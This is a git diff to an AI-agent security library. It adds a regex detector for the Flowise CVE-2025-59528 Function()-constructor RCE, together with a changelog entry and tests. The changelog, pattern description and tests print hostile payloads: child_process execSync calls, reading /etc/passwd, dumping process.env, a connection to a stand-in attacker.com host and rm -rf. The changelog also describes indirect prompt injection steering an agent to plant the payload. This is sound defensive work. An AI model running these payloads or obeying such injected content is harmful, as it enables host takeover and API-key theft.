diff --git a/CHANGELOG.md b/CHANGELOG.md index 269f3ed..1a6027b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,46 @@ what got documented across releases. ## [Unreleased] +## [1.1.6] - 2026-05-18 + +### Hardened + +- **`sc_flowise_js_rce`** (score 85, supply_chain filter) — Detects JavaScript `Function()` + constructor calls combined with dangerous Node.js system module references (`child_process`, + `fs`, `os`, `net`, `process.env`, `execSync`, `spawnSync`), and detects these patterns when + they appear inside MCP server configuration fields (`mcpServerConfig`, `"command":`, + `"args":`). This is the specific attack class exploited in Flowise CVE-2025-59528 (CVSS 10.0, + actively exploited April 2026): the Flowise CustomMCP node accepted user-supplied configuration + JSON and executed it via JavaScript's `Function()` constructor — functionally identical to + `eval()` — without any validation. A single payload such as + `new Function('return require("child_process").execSync("id")')()` achieves host-level code + execution on the Flowise server, giving the attacker access not just to the OS but to every + LLM API key stored in the application (OpenAI, Anthropic, Azure, database credentials). + 12,000–15,000 Flowise instances were still unpatched when exploitation began, more than six + months after the fix was released. An AI agent receiving indirect prompt injection through a + poisoned tool response or retrieved document could be directed to inject this payload into a + Flowise workflow configuration. The rule also covers `Function.prototype.constructor`, a + prototype-chain bypass that reaches the same `Function()` object while evading naive + string-match blocklists that only search for the word `eval`. Fixed in Flowise 3.1.1. + + **Blocked example:** + ``` + new Function('return require("child_process").execSync("id")')() + mcpServerConfig: "new Function(code)()" + "command": "require('child_process').exec('rm -rf /tmp/*')" + ``` + +### Notes + +- v1.1.6 is a manual follow-up release that salvages the `sc_flowise_js_rce` detector from + closed PR #62. PR #62 was closed because it raced PR #61 for the v1.1.5 slot and lost on + the merge order; the underlying Flowise CVE-2025-59528 detector is unrelated to the race + and is shipped here on its own. + +**Tests:** 1582 passed · 0 failed · 0 skipped (measured 2026-05-18 via +`uv run --no-sync pytest --tb=no -q` on the v1.1.6 branch). 14 new tests added for +`sc_flowise_js_rce` (10 true positives, 4 true negatives); rest unchanged from v1.1.5 master. + ## [1.1.5] - 2026-05-18 ### Added diff --git a/aigis/__init__.py b/aigis/__init__.py index 69b0c17..7d9e015 100644 --- a/aigis/__init__.py +++ b/aigis/__init__.py @@ -104,4 +104,4 @@ "SleeperDetector", "SleeperAlert", ] -__version__ = "1.1.5" +__version__ = "1.1.6" diff --git a/aigis/filters/patterns.py b/aigis/filters/patterns.py index cc6df4e..0473207 100644 --- a/aigis/filters/patterns.py +++ b/aigis/filters/patterns.py @@ -4438,6 +4438,54 @@ def _p(pattern: str, flags: int = re.IGNORECASE | re.DOTALL) -> re.Pattern: "Upgrade PraisonAI to >=4.6.34." ), ), + # --- CVE-2025-59528: Flowise CustomMCP node JavaScript Function() constructor RCE --- + # The CustomMCP node parsed the mcpServerConfig string and executed JavaScript code via + # JavaScript's Function() constructor — identical to eval() — with full Node.js runtime + # access including child_process, fs, and process.env. An attacker who controls content + # that ends up in a Flowise workflow (e.g. via indirect prompt injection into a tool + # response that is used to build an MCP config) can achieve host-level RCE. + # Fixed in Flowise 3.1.1 (Function() replaced with JSON5.parse()); 12,000+ instances + # remained exposed as of April 2026. Exploitation began 6+ months after the patch. + DetectionPattern( + id="sc_flowise_js_rce", + name="JavaScript Function() Constructor / eval() in MCP Configuration (Flowise RCE Pattern)", + category="supply_chain", + pattern=_p( + r"new\s+Function\s*\([^)]{0,500}(?:require\s*\(\s*['\"](?:child_process|fs|os|net|http|https)['\"]" + r"|execSync|spawnSync|process\.env|\.exec\s*\()" + r"|Function\s*\.prototype\s*\.constructor\s*\(" + r"|(?:mcpServerConfig\s*[\":]\s*|\"command\"\s*:\s*|\"args\"\s*:\s*)[\"'][^\"']{0,200}" + r"(?:eval\s*\(|new\s+Function\s*\(|require\s*\(\s*['\"]child_process)" + ), + base_score=85, + description=( + "JavaScript Function() constructor or eval() equivalent in an MCP server " + "configuration field. " + "CVE-2025-59528 (CVSS 10.0): Flowise CustomMCP node passed the user-supplied " + "mcpServerConfig string to JavaScript's Function() constructor without any " + "validation, giving attackers full Node.js runtime access. A payload such as " + '`new Function(\'return require("child_process").execSync("id")\')()` achieves ' + "host-level RCE — not just prompt-level manipulation — on any Flowise instance. " + "Flowise instances commonly store OpenAI, Anthropic, and Azure API keys as well as " + "database credentials; a single exploit grants access to all of them. " + "12,000+ exposed instances were identified in April 2026; exploitation began over " + "six months after the patch was released. " + "Function.prototype.constructor is a JavaScript technique that reaches the same " + "Function() constructor through the prototype chain, bypassing naive string-match " + "blocklists that only check for the word 'eval'." + ), + owasp_ref="OWASP LLM03: Supply Chain / CWE-94 Improper Control of Code Generation", + remediation_hint=( + "Upgrade Flowise to version >=3.1.1 (CVE-2025-59528 fix replaced Function() " + "with JSON5.parse()). " + "Never allow user-controlled or LLM-generated strings to be passed to JavaScript's " + "Function() constructor, eval(), or any similar runtime code-generation call. " + "In MCP server configurations, validate all command and argument fields against an " + "allowlist of permitted values before use. " + "Treat any prompt or tool response containing Function() constructor calls combined " + "with Node.js system module references as a supply-chain RCE attempt." + ), + ), ] # --------------------------------------------------------------------------- diff --git a/pyproject.toml b/pyproject.toml index 2756180..ecc0630 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "hatchling.build" [project] name = "pyaigis" -version = "1.1.5" +version = "1.1.6" description = "Zero-dependency Python firewall for AI agents. 4-wall + L4-L7 defense built on 2025-2026 LLM-security papers (Mirror, StruQ, MI9, MemoryGraft, MSB, DataFilter, AdvJudge-Zero), 44 compliance templates across US/CN/JP/EU. Library, Docker sidecar, or CLI — drop-in for Claude Code, Cursor, FastAPI, LangChain." readme = "README.md" license = { file = "LICENSE" } diff --git a/tests/test_incident_postmortems3.py b/tests/test_incident_postmortems3.py index c64f163..d17a3d7 100644 --- a/tests/test_incident_postmortems3.py +++ b/tests/test_incident_postmortems3.py @@ -135,3 +135,74 @@ def test_auth_documentation_prose(self): def test_auth_token_set_value(self): # Token set to a real string — not disabled assert not self.pat.pattern.search('AUTH_TOKEN = "my-secret-token-abc123"') + + +# --------------------------------------------------------------------------- +# sc_flowise_js_rce — CVE-2025-59528 (added in v1.1.6, salvaged from closed PR #62) +# --------------------------------------------------------------------------- + + +class TestFlowiseJsRce: + def setup_method(self): + self.pat = _get_supply("sc_flowise_js_rce") + + # True positives — Function() constructor with dangerous Node.js modules + def test_new_function_child_process_detected(self): + payload = 'new Function(\'return require("child_process").execSync("id")\')() ' + assert self.pat.pattern.search(payload) + + def test_new_function_execsync_detected(self): + assert self.pat.pattern.search("new Function('code', 'return execSync(cmd)')() ") + + def test_new_function_spawnsync_detected(self): + assert self.pat.pattern.search('new Function(\'return spawnSync("ls", ["-la"])\')()') + + def test_new_function_fs_module_detected(self): + assert self.pat.pattern.search( + 'new Function(\'return require("fs").readFileSync("/etc/passwd")\')() ' + ) + + def test_new_function_process_env_detected(self): + assert self.pat.pattern.search("new Function('return JSON.stringify(process.env)')()") + + def test_new_function_net_module_detected(self): + assert self.pat.pattern.search( + 'new Function(\'return require("net").connect(4444,"attacker.com")\')() ' + ) + + def test_function_prototype_constructor_detected(self): + assert self.pat.pattern.search( + "[].constructor.constructor('return process.env')()" + ) or self.pat.pattern.search("Function.prototype.constructor('alert(1)')") + + # True positives — dangerous pattern inside mcpServerConfig field + def test_mcp_server_config_eval_detected(self): + payload = 'mcpServerConfig: "eval(userInput)"' + assert self.pat.pattern.search(payload) + + def test_mcp_server_config_new_function_detected(self): + payload = 'mcpServerConfig: "new Function(code)()"' + assert self.pat.pattern.search(payload) + + def test_mcp_command_child_process_detected(self): + payload = "\"command\": \"require('child_process').exec('id')\"" + assert self.pat.pattern.search(payload) + + # True negatives — legitimate mentions that should NOT fire + def test_discussion_of_function_constructor_benign(self): + assert not self.pat.pattern.search( + "The Function() constructor is a JavaScript built-in that creates function objects." + ) + + def test_json5_parse_benign(self): + assert not self.pat.pattern.search( + "The fix replaced Function() with JSON5.parse() to safely parse config." + ) + + def test_safe_new_function_no_modules_benign(self): + assert not self.pat.pattern.search("new Function('x', 'return x + 1')(5)") + + def test_require_in_prose_benign(self): + assert not self.pat.pattern.search( + "You can require the child_process module in Node.js for OS commands." + ) diff --git a/uv.lock b/uv.lock index 2718656..d44fc72 100644 --- a/uv.lock +++ b/uv.lock @@ -1260,7 +1260,7 @@ wheels = [ [[package]] name = "pyaigis" -version = "1.1.5" +version = "1.1.6" source = { editable = "." } [package.optional-dependencies]